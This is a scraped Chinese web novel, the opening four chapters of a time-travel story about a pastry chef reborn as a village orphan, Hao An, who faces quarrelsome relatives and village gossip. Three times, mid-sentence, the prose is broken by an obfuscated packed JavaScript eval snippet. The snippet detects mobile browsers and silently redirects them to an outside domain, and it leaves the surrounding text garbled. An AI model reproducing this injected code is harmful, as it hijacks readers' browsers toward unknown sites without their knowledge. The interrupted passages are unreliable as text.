《好记甜品》 1. 穿越 第一章 “啪”一只破布鞋砸在屋门上。 “好安你别给我装死。” 一位身材短肥的妇人站在院子里，单手叉腰，目露凶光。她握着另一只破布鞋，一边对着院里挥舞，一边唾沫横飞：“现在知道怕了，刚刚打我儿子的时候怎么不知道怕，你别以为两眼一闭就能躲过去。一赔钱玩意还敢欺负到我儿子头上……” 围观的人越来越多，不管谁路过，都要停下来看两眼，但没有一个人踏进院子，因为这家院子里挂着白布。 “发生啥了？”刚路过的围观群众不明所以，勾长脖子朝里圈挤。 “王翠花在撒泼呢。”前面人侧头说道，眼睛却紧盯着前方。 “好安她大伯娘？她们不都分家好久了嘛，这又咋了？”说着，后面的人耸起肩膀，削尖脑袋地往前钻。 “说是好安打了她儿子。”前面人侧身挪出一缝隙。 后面人肩膀一顶，顺势挤到前排，笑道：“怎么可能，好方块头比牛都大。好安不挨他打就不错了。” “来找麻烦呗。”妇人插嘴道，她就住在附近，对这两家的事情知之甚多，于是捂嘴说道：“王翠花平时就爱来她家蹭这蹭那的。不是这个月一条肉，就知下个月一袋米。现在好安她娘走了，王翠花恨不得住这把房子也占了。今天好安好像和她儿子起了冲突，她不得好好来说道说道。” 妇人虽然捂嘴了，但架不住天生大嗓门，挨得近的几人都听得清清楚楚，忍不住议论纷纷。 “还能这样？” “这不是敲竹杠吗？” “好安还没出孝期呢，王翠花也不怕她娘半夜找来。” “欺负好安家只剩她姐弟俩，没个大人。” “小点声，”妇人赶紧抬手挥了挥：“我可招惹不起这婆娘。”大伙哄堂大笑。 “听说打得不轻哦，都去叫大夫了。” “不是打的，摔的。磕到了石头，当场就晕了，还是好来婶给背回来的。” “王翠花不是说好安打了她儿子吗？” “王翠花嘴里有过真话吗？” “好像——还真没。” “那肯定是好方推的，不然好端端的怎么能摔了。” “你个呆皮癞汉说什么呐，哪只狗眼看见我儿子推她了？”王翠花听见有人议论她儿子，立刻伸手冲了过去：“黑心烂肚肠的，看我不撕烂你的嘴。” ———— 屋内，简陋的木床上躺着一位皮肤白皙，容貌清丽的女子。 睡梦中，好安觉得自己好难受，头脑昏沉，四肢胀酸，像是喝了通宵的假酒。 她朦朦胧胧听到一些声音，像是有人在说话，但又听不清说了什么。 “有人吗？水。”好安喊了半天不见有人搭理，便想睁眼看看，可眼皮像是被缝住了，动也动不了。 时间好像过了很久，又好像刚过了一会，耳边的声音越来越大，越来越清晰。 等她终于有力气掀开眼皮，一顶灰白色帷幔映入眼帘。 这事哪里？ 竹窗木壁，黄桌矮柜了，一切都很陌生的。 好安脑袋疼痛难忍，像是被搅过一样，根本没有力气思考。 此时，屋外有说话声。 好安连忙支起身子，想下床问问这事什么情况。结果脚刚落地便是一阵天旋地转。好安不得不伏在床边缓了好久，才重新站起，扶着墙壁走到门口。 刚开门，还未看清前方，一破布鞋迎面飞来。她直觉告诉自己，这一下转个身就能躲过，但昏昏沉沉的脑袋和颤颤巍巍的双腿根本无法配合。 只听“啪”一声，鞋子正中脑门，她也一头栽了。 再醒来时，屋外已经没有吵闹声，她又在床上了。 “醒了就好，醒了就无碍。” 说话的老头满头白发，一边笑呵呵地点头，一边抬手直冲她脸来。好安这时才发现自己头上脸上身上扎满了针。 被一只鞋砸到这么严重吗？ 好安看着老头在她头上又扎了几针，再结合这老头的穿着打扮，窄袖短褐，白发高束，怎么跟古人一样。再结合这的环境…… 一个大胆的想法油然而生。 她，不会穿越了吧？ 不可能，这一定是做梦，她刚拿到世界蛋糕大赛的金奖，她奖金还没领，她还没享受花奖金带来的快乐，她还没……所以这一定是做梦。 好安果断抬手甩了自己一巴掌。 “你在干什么？”老头惊呼道，连忙按住她的手。 疼，看来真的是自己的肉，看来她真的穿越了？ “打虫子。”好安心如死灰，声音有气无力。 老头不确定地看了看好安又看了看四周，严肃道：“以后有虫子就找人帮你打，万万不可像刚刚那样。你伤到了头，需要静养。” 说完，门口进来一妇人，端着碗黑乎乎的东西，身后还跟着个身披麻衣，头戴白巾的小男孩。 “安安醒啦，药刚熬好，趁热喝点。”说着妇人扶起好安，往她身后塞了两个枕头。 “慢慢喝，小心烫。”妇人柔声提醒。 是叫她吗？ 好安揉了揉脑袋，不安地问道：“你们是？” 话音刚落，屋子里的人都一愣，刚准备走人的老头赶紧放下东西，坐回床边重新把脉。 妇人紧跟着问道：“你还记得你是谁吗？” 好安犹豫地摇了摇头。现在人生地不熟的还是保持警惕比较好。 “那我，有印象不？”妇人拍了拍自己，又问道：“你还记得自己怎么晕的嘛？” 好安除了摇头还是摇头。 “坏了，应该是磕到头了。”妇人急得像热锅上蚂蚁：“这可咋办哦。” 刚说完，妇人突然看见站在床尾的小男孩，立刻指着说道：“他你还记得不？你弟弟好昕。” 她顺着妇人的手指看去，只见床尾站着一个六七岁的小男孩，手紧紧地拽着帷幔，只露出半个身子，水汪汪的大眼里满是不安。 好安继续摇了摇头。 小男孩像是懂了什么，粉嫩的小嘴越撅越高，撅倒最高就哇的一声哭出来。 “姐姐不要我了。” 妇人见状，暗道不好，想抱起来哄，可小男孩死死拽着床帷不松手。拉扯间，两人一不小心扯落了床帷，挡住了老头的视线。老头眼前一花，按岔了地方，好安疼得直哆嗦。 屋里顿时乱成一锅粥。 老头气愤的从床帷中抽出身来，大吼一声：“都别动。”说着自己动手收了床帷塞到一角，又转身对小男孩说道：“别哭，你姐没有不要你。” “对对对。”好安连忙起身附和，小孩子哭声的杀伤力实在太强了，吵得她头疼，先哄再说。 老头见她起身连忙把她按下去：“你也别动，给我躺下。” “头还疼吗？”老头皱着眉问道 “有点。”好安指了指后脑勺：“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14950781|160922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这里，一碰就疼。” “除了头还有其他地方吗？” 她想了想说道：“没了。” 老头对她的头左搬搬右转转，最终下了定论——失魂症。 能不能想起来全靠缘分，可能明天，可能明年，不好说。 老头见好安除了这个没什么其他问题，便重新写了药方叮嘱几句后便背着小药箱离开了， 门口撒泼的那个都不用撵，早就不见身影。好来婶则主动留下照顾好安，顺带给好安好好说道说道。 原身也叫好安，大晏国，东州府，万和县，好家村人。 亲爹名叫好大河，突然某一天一声不吭地离家出走，如今了无音讯，生死不明。 亲娘名叫罗大娘，逃荒来的外地人，身体不好，刚刚撒手人寰，孝期还没过。 还有一个亲弟弟，就是站在床尾的小萝卜头，今年六岁。 平日里接触的亲戚都是亲爹这边的。好大河兄弟三人，大哥好大山，二哥好大川，在爷爷奶奶去世的时候分了家，差不多五六年了。 …… “之前门外怎么这么吵？”好安虽然刚开门就被砸晕，但还是瞧上一眼。 好来婶，也就是这位一直忙前忙后的妇人兼邻居，说：“哎，是你大伯娘，” 说到这个，好来婶来劲了：“你大伯娘在外面说你打了她儿子好方。我都看见了，明明是好方推的你，不知道怎么还有脸瞎讲。她后面要是为这事找你麻烦，记得来找婶子，婶子替你作证。好好治治这不要皮脸的东西。” 好安虽不知前因后果，但还是连忙点头，心生感激。 药喝了两三天，好安的头明显舒服多了。 这几天都是弟弟好昕主动在照顾她。 水他烧、药他熬、饭他煮。 豆丁大的弟弟几乎几乎十项全能。 今天能下床了，好安决定趁着空闲，把家里简单的收拾一下，同时也熟悉熟悉环境，看看这个身体有没有残留的记忆。 好安擦完柜子把脏水倒在院子里。现在正是夏天，不用一会太阳就会把水蒸干。 但好昕一直尾在她身后，怯懦懦的模样生怕眼前这个人不要他了。 好安竖着手指发誓：“你找个地方看书好不好，姐姐就在你眼前，绝对不会不要你。” 她收拾的时候看到过一本书，一问才知道是好昕的。 农家有个读书人，好安估摸着这个家有钱又没钱。 又过了两天，好安数了数日子，今天刚好是她穿过来第五天，也是她娘去世满一年，守孝期满。 这里习俗是有功名的要守孝三年，没有功名的只要守孝一年。这期间除了去丧葬铺子，去哪都不受欢迎，大部分人都呆在家，非必要不外出。 明天就能出门了，好安主动去排位前给这个身体的娘亲上香。 前世她工作狂，极爱熬夜，生活十分不规律。突然穿越到这里，估计是落得个暴毙的下场。如今有了新的机会，她一定重视这副身体，认真生活。 好安燃起三炷香，恭敬地磕四个响头。 刚把香插上，她就听见院外有人喊：“安安，在家不？” “在的。”好安探出头，见一年轻小伙子手里抱着一黑乎乎的东西，问道：“什么事？” “你之前定的你娘的牌位，今天给你送过来啦。” 好安愣住。 牌位？ 牌位才送过来，那她刚刚拜的是什么？ 2. 克夫 第二章 “名字一样啊。”好安看着两个牌位，忍不住发出疑问。 送牌位的小伙子正准备转身离开，听到话后立刻一步撤回，迈到好安面前，瞪大眼睛看向她道：“好安，你是不是磕坏脑子了？” “没。”好安条件反射的否认。 小伙子指着桌上供奉的牌位说道：“这个红色的是长生牌位，给活人的。”说着，又指向好安手里的，“这个黑色的是灵牌位，给死人的。守孝期要结束的时候换牌位，这你都分不清你还说你没磕坏脑子。” “哦，我知道了。你是不是得了那什么瞀病，看红的都是黑的，分不清颜色。”不等好安解释，小伙子自言自语。 “你才毛病，我好的很。”好安小心地换上牌位，解释说道：“我只是磕到脑袋忘记点事。” “啊，那你还记得啥？”小伙子插嘴问：“还记得吃饭不。” 好安倒水的手一顿，没好气地说：“我只是磕到脑子，不是磕坏脑子。” “这有啥区别，”小伙子顺手端起半碗水，也不嫌少，咕咚咕咚喝了个干净：“那你还记得我还欠你十文钱嘛。” 好安伸手：“记得了，还钱。” “你不还记得嘛。”小伙子愤愤不平，但还是老实数了十个铜板放在好安手心。 “磕到脑子不会变成傻子，磕坏脑子才会变成傻子。”好安看了眼小伙子，说道：“反倒是你，以后可要小心你的脑袋，它经不起磕了。” “为啥？”小伙子不解：“我娘说我结实，一点磕磕碰碰没关系。” 好安语塞。 “哦，我要回家了。”小伙子拍了拍脑袋，他一聊天就容易忘记时间：“我妹说明天和你一起去山里摘泡儿，叫你在家等她。”说完一溜烟地跑了。 “昕昕，你知道刚刚那个人是谁吗？”好安指了指远去的背影，目光中流露出怜惜。 “是田高哥哥。”好昕声音软软的。 “那她妹妹是谁？和我熟吗？” “是桂儿姐姐，桂儿姐姐经常来找姐姐玩。” 看来是关系不错的小姐妹，明天瞧瞧。 好安和好昕起了个大早，因为今天要先送好昕去学堂。 她以为自己已经够早了，但没想到还有人更早。 饭还没吃完，田桂就到了。 “你们吃你们的，不用管我。”田桂大大咧咧地摆摆手，眼睛却盯着好安。 “我脸上有东西？” “没有。” “那你盯着我干嘛？” “听说你前几天被好方打了，现在感觉怎么样，还好吗？” 好安没想到田桂还记挂这事，笑了笑道：“没事了。就是摔了一跤。” “那就好。”田桂安心地点点头，继续说道：“现在村子里都在传你变成傻子了，变成一个只知道吃饭数钱的傻子。” “我姐姐不是傻子！”好昕握着小拳头用力地锤在桌子上。 “噗——”好安呛住，喷出一口粥：“谁说的？你哥说的？” “我才不信田高那个大傻子说的话，”田桂摇头晃脑道：“这个是村里其他人说的。” 姐妹，有没有可能村里人就是听你哥说的。 好安缓了缓，问道：“你哥怎么说的？” 田桂皱眉想了想道：“田高也说你磕坏脑子不记得事了但还记得吃饭要钱。” “那你觉得我像傻子吗？”好安抬头看田桂的反应，却见田桂神色纠结道：“不好说，主要我也没见过真傻子。” 好安叹了口气，说道：“真亲兄妹。” 好安喝完最后一口粥，擦了擦嘴开始准备进山的东西。 她原本就打算今天出去逛逛，正好田桂约她，路上还能问点事情，多了解了解这个世界。 既然这个家给了她第二次的生命，她就要担起该担的责任，至少得把自己和好昕养好。 好安把好昕送到村里的学堂便和田桂往山里走。 “我娘说很久很久以前好家的祖先是逃难到这里的，觉得这里风水好，便在这定居，把村子命名为好村。”田桂指着好安家后面的山说道：“你看那就是好山，那条河就是好水，祖先希望好山好水能保佑好村如山水般生生不息……” 因为村里传得有鼻子有眼的，田桂担心好安真失忆了，但又不好意思说，便一边走，一边热心为她讲解：“今天我们们要去的山头就是离你家最近的山头，也是好山最平缓的一部分。” 好安很乐意听田桂讲这些，虽然二人出发点不同。 现在正是夏季，山上山下，层层郁郁，有黄的花，红的果，五彩缤纷。 田桂眼尖，一眼就瞅到一片泡儿，高呼着冲了过去，好安则慢慢地跟在后面。 田桂半路急刹回头问道：“安安，你还记得泡儿是什么不？”不等好安开口就自问自答：“你应该认识，村里人说你记得吃的。” 她是记得吃饭，不是记得吃的！ 好安无力解释，反正摘果子，看一眼就能认识。 等好安走到田桂身边，田桂已经摘了一捧。 小球，红果。 这不覆盆子嘛，好安开始采摘。 刚摘了两三个，便听田桂惊呼道：“好安你在干嘛？” “摘果子啊？”好安不明所以地转头说道。 “你摘的是蛇泡，苦的吃完拉肚子。这个才是泡儿。”田桂说着扔掉好安手里的红果，塞了一把自己刚摘的，不确定地问道：“你不会真的成傻子了吧。” “没有！”好安立刻否认。 田桂狐疑地看向好安，不说话。 沉默是最好的质疑。 好安刚要解释，便听见田桂说道：“好啦，我相信你不是傻子。”脸上却是一副就算你是傻子我也不会嫌弃你的神情，“我们继续摘泡儿果吧。来，我教你。” 好安深吸了一口气，随她吧，时间长了大伙自然就知道她不是傻子了。 ———— “呦，这不是好安吗？” 好安刚学会区分蛇泡和泡儿，远处就走来两个穿裙披纱的姑娘。 一个摇着扇，一个挎着篮。 好安看到她们两人脸上不屑的神情不禁眉头轻挑，这俩人看着和她关系就不好。 “前边你大伯的，后面边你二伯的。都喜欢在背后说别人坏话。”田桂飞速在好安耳边说道：“和你关系都不好” 好安冷笑一声：“看出来了。” 原主大伯一家可以说是没一个好东西。对她家的东西是天天惦记，月月上门，明里要，暗里偷。 二伯一家则是一群唯他大哥马首是瞻的无脑憨皮。 “田桂儿，你怎么还敢和这种人一起玩，也不拍被克死。”摇扇子的姑娘捏着把绣花团扇挡在面前，看见好安像是看见了什么脏东西，一副嫌弃的模样。 “我和谁玩关你什么事。还有我叫田桂，没有儿。这么大人了还学小孩子讲话，舌头捋不直吗？”田桂翻了个白眼，转身对好安说道：“别理她，她就是嫉妒你。” “我嫉妒她？”扇子姑娘切了一声，轻蔑道：“她有什么让我嫉妒的，嫉妒她会克死人吗。”说完和提着篮子的姑娘夸张地笑起来。 “什么克死？”好安一头雾水。 但这三个人像是听不见似的，对她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14950782|160922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的疑问不理不睬。 “你就是嫉妒。看见安安的第一眼你就嫉妒她。你嫉妒安安比你白，比你好看，还嫉妒成言哥只和安安说话，不和你说话！” 田桂的嘴像个炮仗似的，什么都往外爆。 “什么秀才？”还有什么故事是她当事人不知道的。 但没人搭理好安。 扇子姑娘突然不笑了，她像是被田桂的话戳到了痛处，怒而指着好安，人却对着田桂道：“我，你……那是她不要脸，自己贴上去的。” “我娘说你这个叫吃不到葡萄说葡萄酸。”田桂撇嘴说完，看都不看那两人一眼，挽着好安朝深处走去：“走我们去里面摘，不跟这种人浪费时间。” “不可以走。”扇子姑娘尖声说道。 旁边的篮子姑娘立刻跟着附和道：“你们不可以走。”说着三步并两步，挡住好安和田桂的去路。 “好安，我问你。上次成言哥哥和你说什么了？”扇子姑娘小跑到好安面前，蛮横道：“我劝你最好告诉我，不然……” “你唇脂粘牙了。”好安盯着对面姑娘的门牙面无表情地说道。 说完，不等对面有何反应，好安潇洒转身，赶紧拉着田桂离开。 扇子姑娘一下慌了神，连忙捂住嘴巴，对着篮子姑娘气急败坏道：“镜子呢。” “我找找。” …… “这俩人太耽误我摘泡儿果。”田桂气呼呼的踢了跺了跺脚：“要不是她们，我至少已经摘了一捧了。” “田桂，我问你个事。”好安把田桂拉倒一颗树下，小声问道：“刚刚摇扇子的那个说我克死人是怎么回事？” “好雪啊，她脑子不好，胡说八道的。”田桂瞅了一眼好安，搪塞道：“你就当没听见。” “嗯？” 好安才不信，把脸凑过去。 田桂看向左边她就凑到左边，看向右边她就凑到右边。 田桂被好安缠得没办法了，只好如实交代：“我娘说你小时候八字算过命。说你天煞克爹娘，嫁人克丈夫。你爹失踪这么多年和死了有啥区别，现在你娘也死了，村里人就觉得算命说的对，说你以后还会克死丈夫。” “那你还来找我玩。”好安忍不住问道：“你不害怕吗？” “我娘说了，你爹是失踪，你娘本来就身体不好和你没什么关系。再说了，就算是真的，我又不是你爹你娘，也不是你相公，我怕什么。”田桂看向好安，眼睛里充满了疑惑。 “有道理。”虽然这个眼神好安今天已经不止一次看到过。 “当然。”田桂顿了顿，却话锋一转，说道:“不过克夫也挺好。” “嗯？” 姐妹的思想这么别具一格嘛？ 田桂瞥了眼四周，凑到好安耳朵边说：“我娘说了，你爹娘都不在了，要是不克夫说不定会被卖掉。” 好安挑眉，追问道：“展开讲讲。” “张妞你还记得不，就是村口家里种大槐树的那家。”田桂：“她就是被后娘卖给镇上的王大老爷。不，是王大老爷爷做小妾。还有好朵儿，没爹没娘就被她舅舅卖了，说是送出去给大户人家当丫鬟享福，其实是送进花楼当丫鬟啦……” “你就不用担心了，”田桂拍了拍好安肩膀，真心地说道：“全村甚至有些外村人都相信你不仅克爹娘克丈夫，还灵验得很。” “有道理。”好安跟着点点头。 克夫，这好像是个好消息。 不，这是简直是一个天大的好消息。 她不怕苦不怕累，就怕被人姻缘配。 如今这种情况杜绝了，她还有什么可担心的。 3. 果酱 第三章 泡儿易烂，放不了多久，但好安还是摘了满满两篮子的泡儿。 好来婶把她背回来，帮她找大夫，还照顾了她一天。 救命的恩情难还，但不能不表示感谢。 家里没什么拿的出手的东西。正好好昕说好来婶的小女儿云丫头喜欢吃泡儿，她打算等好昕放学，一起把一篮子泡儿送给好来婶。还有一篮子她准备做成果酱。 好安将泡儿洗干净，去掉绿蒂，充分沥干水分。 家里没有白糖，好安便用了红糖。 果酱里还应该放些柠檬汁，不知道这个世界有没有卖的，但目前好家村是没有的。 没关系，足量的糖就是最好的防腐剂。 刚好家里的红糖不多，罐子还有盖子。好安索性全部用掉，将红糖罐子放开水里煮十分钟，消毒杀菌。 泡儿和红糖一起熬煮，泡儿很快开始出水，变得黑红。等到果酱逐渐厚到凝固，便熬好了。 好安担心罐子的密封性不够又在盖子边缘加了层布。 这样的果酱保存到冬天没问题。 “姐姐，我回来啦。”刚到中午，好昕便回家了。 “你们上学只上半天吗？” “不是，吃过午饭还要去的。” “学堂不包饭？”好安急匆匆的跑出厨房，她以为好昕要在学堂呆一整天，所以午饭还没做。 “包饭是什么？” “就是中午在学堂吃。” 好昕摇摇头：“学堂就在村里，离大家都很近。” “完了，我还没做饭。”她把学堂当成现代的学校了，以为都有食堂，默认中午在学校吃：“你等一会，我现在就去做。” 好安正要进屋，门突然响了。 这个时间点会是谁？ 现在接近午饭，大家一般不会走邻串户。 好安透过门缝，往外瞧了瞧，见敲门的是个陌生的婶子。 她不认识。 好安招来好昕，小声问道：“昕昕你认识她吗？” 好昕都没往外看，只听声音便点点头道：“是张婶。” 门外的婶子五大三粗，不仅一脸凶相，神色还不快。 好安不敢相信，她和自家有往来。因为按照邻里口中的描述，她娘性子软和，遇到不好的事情能避则避，是个绝不招惹事情，也不招惹人的人。 好安戳了戳好昕，问道：“她经常来吗？” 好昕想了想，说道：“不算经常，但只要娘亲带姑娘回来，张婶和他儿子就会来我们家。” 好安唰一下瞪大眼睛，不可置信地问道：“只要我们家有姑娘，她就来？” 好昕点头道：“是的，每次都来。” 好安追问：“然后那些姑娘呢？” 好昕摇摇头，如实回答：“不知道。每次娘亲都让我进屋或者出去玩。” 好安：“那你后来见过那些姑娘吗？” 好昕继续摇头：“她们只来家里一次，没来过第二次。” 好安深吸一口气。 姑娘、只来一次。 我的天，她娘不会是个人贩子吧！ 好安越想越觉得对，她翻过家里，家里有个钱匣子，里有一个大银锭子，纯靠种地根本攒不下这么多钱，而且银锭子下面还压了一本名册。她刚开始没在意，现在想想那应该就是人口贩卖的名录了，而门外的张婶就是同伙。 她不想开门，张婶一看就不好惹。 此刻门外的张婶有些不耐烦，把门敲得咚咚响：“安安开门，我知道你在家。” 院门剧烈的晃动，细碎的木屑飘然落下。 好安相信，如果自己不开门，这位张婶一定能把门敲裂。 “来了，张婶。”好安一边应承，一边指使好昕进屋。 门刚开，张婶便摆出脸色：“怎么这么长时间？” “刚刚在屋里，没听见。”好安赶紧搬来一条长凳放在院子里，拦住想要进屋的张婶：“这，您请坐。” “坐这聊也行。”张婶也不在意，喇腿坐下。 好安从屋里拿了点炒货，放在院子里的小桌上：“花生瓜子，您随意。” 张婶看好安态度不错，说话声微微降了降。 “我来也没别的事情，就是来问问什么时候再带姑娘给我看看，之前那几个我想想都不太行。”张婶抓起一把花生握在手里，微微一用力，一下捏碎四五个花生壳，然后漫不经心地从里面挑出花生粒，再一口塞进嘴里。 “我，这……” “之前说好一个月最少一个……”张婶嘴里嚼着花生粒，也不妨碍她突突突的说活，反而越说越带劲，根本不给好安插话的机会：“这一年浪费了。十二个月啊，这我就不计较了，但从这个月开始，你要赶紧物色起来，不能再耽搁了。” “婶子，喝水。”好安抬手到了一碗水送到张婶手中，趁着她喝水的间隙，忙说道：“您也知道我娘也不在了，这个要不咱就算了吧。” 张婶这话一听来了脾气，水也不喝了，把碗扔到一边，说道：“算什么算，我钱都付了。你这个月必须给我找到一姑娘，带来给我看看。” 好安心里骂人，但碍于张婶一个顶她四个的体格，只能赔着笑：“可这事我也不熟啊。” 张婶疑惑道：“你有啥不熟的，你之前不还和你娘提过两个姑娘吗？” 好安呆住，难道她也是同伙！ “婶啊。”好安咳了咳嗓子，脸上露出一副为你担忧的神情，说道：“你也知道我上次自从磕了脑袋整个人就有点不对劲，有时候迷迷糊糊的，说话嘴上也没个把，做事也没谱。” 好安边说还边揉了揉头。她想暗示自己不靠谱，可能会把事情泄露出去，让张婶放弃，谁想张婶却说道：“你眼睛咋了，进灰了？” 好安愣住，手无奈地从头滑到眼睛：“啊，是有点。” “你是想说村里人说你傻了吧，”张婶拉过好安的手，一副反客为主的态度：“我来之前还担心，现在看……” “没错。”好安连忙反手握住张婶，激动地说道：“村里人说的没错，我脑子磕坏了。” 张婶不信，打量了一番：“我看你不是挺正常的吗？” 好安掩面故作悲伤：“偶尔清醒罢了，所以我看这个……”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14950783|160922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “那就清醒的时候赶紧张罗。”张婶插道。 好安没辙，见弯弯绕绕的说不明白，只好直接说道：“婶，我不准备干这行，不好。” “有啥不好？”张婶顿了顿，恍然大悟道：“也是，你一个未出阁的姑娘，是不大好。” 这是未出阁的问题吗，这是违法啊！ “那你找到姑娘了就偷偷和婶子说，你带去婶子家。不行，还得是你家，直接去我家不好。” 好安惊住，忍不住说出心声：“偷偷？难道你们以前还光明正大？” “也不算光明正大，这种事还是要遮掩一点。我们以后更遮掩一点就行。”张婶吐了口瓜子皮，说道：“这多好的活，你动动嘴皮子把姑娘带来就行。你家没了大人，以后几年都要靠你撑着，这多少也能赚点是不是。” 好安往外挪了挪，避开张婶伸出的手，坚决说道：“不行。干这个我良心过不去。” “哎，你这兔崽子说什么呢？”张婶猛地站起，颤着手指向好安说道：“给王家说的时候就美滋滋的，给我就良心过不去。好安你是不是看不起我。” 什么，她们还有同伙！ “我告诉你好安，你娘既然收了我的钱，就必须办事。我给二十天的时间，赶紧给我找个姑娘带来，不然……”张婶气呼呼地插腰，眼睛四处瞄。好安一看张婶这架势就猜到她想摔东西泄愤，于是连忙拿过桌上的碗藏在身后。 张婶怎么能放过自己摔东西，立威风的机会，一把夺过好安手里的碗，“啪”一声扔在地上，手指着好安，恶狠狠道：“不然你给我等着。”说完推门而去。 田桂正好来还篮子，还没进门就看见张婶脸色铁青的从好安家出来。 “安安，你得罪张婶了？” 好安看向田桂，这种腌臜事她不知如何开口，只能长叹一声道：“算是吧。” “对了，你了解张婶吗？”好安捡起碎碗，随口问道。 “了解啊，隔壁村的大土匪，和我们村的王翠花齐名。”田桂把篮子递给好安，抓起剩下的花生瓜子挨着坐下：“王翠花就是你大伯娘。” “王翠花我知道。” “张婶是不是又让你给她介绍姑娘了。” “你知道？”正要回屋的好安停下脚步，不可置信地问道：“你怎么知道？” “知道啊，你娘之前介绍了多少姑娘都没成。再说了谁家好姑娘愿意嫁到她家？”田桂眼底闪过鄙夷。 “嫁到她家？”好安愣住，随即激动地坐回板凳，连忙问道：“你是说，我娘给张婶介绍姑娘是说媒？” “对啊。不然介绍姑娘干嘛？”田桂往好安身边挪了挪：“你不知道，张婶的儿子和张婶一个模子刻出来的。十几岁的人，脸根老树根似的，又丑又厚。还笨的要死，就认识她娘和萝卜白菜。走路上还喜欢会莫名其妙的打人。” 田桂见好安面露惊色，一把搂住她，劝慰道：“你担心啥，张婶看上谁都不会看上你。她儿子可是她的大宝贝。她可不敢拿来让你克。你就放十二个心。” “放心，放心。” 不是人贩子就好，好安长舒口气。 4. 咸菜肉饭 第四章 吃完午饭，趁着好昕还没上学，好安带他去好来婶家。 青砖红瓦，院围黄墙。 好来婶家是村里数一数二的人家，大儿子是个秀才，在县里当差。 “好来婶。”好安刚扣了一下门，门便缓缓开了。 “门没关，自己进来吧。”好来婶爽朗的声音从屋里传来。 好安推门而入，院子里晒满了菜干，好来婶正在给这些菜翻面。 “安安和昕昕啊，快坐。”好来婶进屋到了两碗糖水。 好安接过糖水，顺势把满满一篮子的泡儿递给好来婶道：“今早刚摘的，送点给您尝尝。” “你这孩子，留着自己吃呀，送给我干嘛？”好来婶看这么多的果子就知道肯定摘了不短时间。 好安解释道：“昕昕和我说云丫头爱吃，我就拿了些过来。” 云丫头是好来婶的小女儿，七八岁，整天上梁揭瓦了。 好来婶听完连连摆手：“她爱吃她自己摘去，刚刚消磨消磨她的劲，这个你和昕昕拿回家自己吃。” 好安笑道：“今早我和田桂一起去摘的，摘了好多，家里两张嘴根本吃不完。” 推搡了半天，好来婶想起云丫头最近确实闹着要吃泡儿，可家里事情多，她抽不开身，可又不放心云丫头和别人去。 那野丫头一到山里就一股脑朝深处钻，除了她没人能拉住。想到这好来婶才收了下来。 好来婶一边将果子倒进盆里，一边说道：“对了，你今天出孝，你大伯娘来找你麻烦了吗？” “没有啊。” “你大伯娘没来找你！”好来婶有点不敢相信，停下手里的活，朝好安又确认了一遍。 王翠花什么人，他们这些乡亲邻里可一清二楚。 前几天还因为她儿子的事情去好安家门口大闹，今天出孝居然没了动静。 “没啊。”好安说道：“只有张婶来找过我。” “张婶找你干嘛？不会让你给她儿子说媒吧。” “对，她说我娘收钱了就必须给他儿子介绍姑娘。” “谁稀罕她那几破钱。你娘就是心软，架不住她天天上门，才答应的。这好不容易找了几个愿意相看的人家，结果她倒变卦挑上了。她儿子有人愿意嫁都是她家祖坟冒青烟。”好来婶抖了抖盆，将篮子还给好安：“你别搭理她，让一个没出阁的姑娘说媒，脑子浸猪水缸了。” “嗯。”好安点点头。 “你路上也没看见你大伯娘？” 好安摇摇头：“没有。” “不对劲。”好来婶眉头微皱，过去的经验告诉她很不对劲。 好安喝了口糖水，说道：“我被堂哥推了一下，又挨了她一鞋底，说不定她躲着我呢。” “不可能。石头成精，你大伯娘也不会转性。”好来婶一口否定，毫不犹豫地说道：“你是不知道，你要是知道就绝对不会这么想。” “我家地和你大伯娘家挨在一起，前几个月收冬小麦，我不小心踩到她家地里的秸秆，追着我骂了五六天，不知道的以为我偷了她家麦子。” “你大伯家邻居路过你大伯家菜园子不小心踩到她家两片烂菜叶，你大伯娘盯着人家要赔偿，最后人家赔了一把菜才消停。” “更别说好方了，那可是他眼珠子。” “好方去别人家吃饭，把人家碗摔碎了，你大伯娘不仅不赔礼道歉，反而追着人家要钱，说他家碗不结实把她儿子吓着了。还有一次，好方偷别人家的果子，吃坏肚子。你大伯娘坐在人家门口撒泼不仅要钱，还要砍人家的树。” …… 王翠花的事迹，好来婶能说上三天三夜。 “好方被骂，你大伯娘上门撒泼。好方打人，你大伯娘上门要钱，这种事情多着呢。现在你家就你和昕昕俩人，你觉得你大伯娘能放过你？”好来婶甩了甩菜干，一副你要小心的神情：“现在不找你说不定后面憋着什么坏呢。” 好安听得是目瞪口呆，连连点头。 “唉，对了。我昨天还想跟你说个事，但今天又怎么也想不起来。”好来婶拍了拍大腿，总觉得自己忘了一件重要事情。 “不急，等您想起来告诉我也来得及。” 好安今日不仅是来真心感谢好来婶，还想问点事。 